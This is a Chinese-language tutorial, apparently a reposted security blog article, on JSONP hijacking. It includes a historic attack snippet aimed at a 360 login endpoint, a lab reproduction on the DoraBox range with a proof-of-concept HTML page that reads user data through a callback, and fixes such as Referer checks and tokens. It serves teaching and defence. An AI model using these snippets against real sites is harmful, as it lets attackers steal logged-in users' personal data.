JSONP 域劫持漏洞学习与复现

admin 2022年2月22日18:58:25评论304 views字数 1411阅读4分42秒阅读模式
1 JSONP 介绍
    JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。

2 JSONP 劫持
    JSON 劫持又为“ JSON Hijacking ”,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。其实这个问题属于 CSRF( Cross-site request forgery 跨站请求伪造)攻击范畴。当某网站过 JSONP 的方式来域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
    参考网上的思维导图
JSONP 域劫持漏洞学习与复现
    一个典型的 JSON Hijacking 攻击代码:
<script>function wooyun(v){ alert(v.username);}</script><script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
    这个是在乌云网上报告的一个攻击例子,当被攻击者在登录 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持。

3 靶场漏洞复现
    这里我们使用DoraBox靶场环境进行复现
https://github.com/Acmesec/DoraBox
JSONP 域劫持漏洞学习与复现
    使用BurpSuite插件,被动扫描网页的jsonp跨域漏洞。
https://github.com/p1g3/JSONP-Hunter
JSONP 域劫持漏洞学习与复现
    如上图,存在漏洞,接着构建一个利用代码
<html><head><meta charset="utf-8"><title>JSONP劫持测试</title></head><body><script type="text/javascript">function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://xx.xx.xx.xx:8000/csrf/jsonp.php?callback=vulkey"></script></body></html>
    本地访问,模拟受害者点击恶意链接。
JSONP 域劫持漏洞学习与复现
    成功触发弹窗,获取用户信息。

4 漏洞修复
    在上面漏洞利用的请求包里面,referer值是攻击者的构造页面,但是漏洞服务器并没有对来源的页面进行一个验证,导致了攻击者能获取到受害者的敏感信息。
所以漏洞的修复在于验证referer值。
  • 验证referer值。
  • 添加随机token,更安全,因为随机性。

5 参考文章
https://blog.csdn.net/weixin_41598660/article/details/106050957https://mp.weixin.qq.com/s?__biz=MzIxOTM2MDYwNg==&mid=2247508038&idx=1&sn=be5c04691dff19eda093887327eb7ff2https://mp.weixin.qq.com/s/tmyGKg08quoJccU1MswJjQ

原文始发于微信公众号(Reset安全):JSONP 域劫持漏洞学习与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月22日18:58:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JSONP 域劫持漏洞学习与复现http://cn-sec.com/archives/797495.html

发表评论

匿名网友 填写信息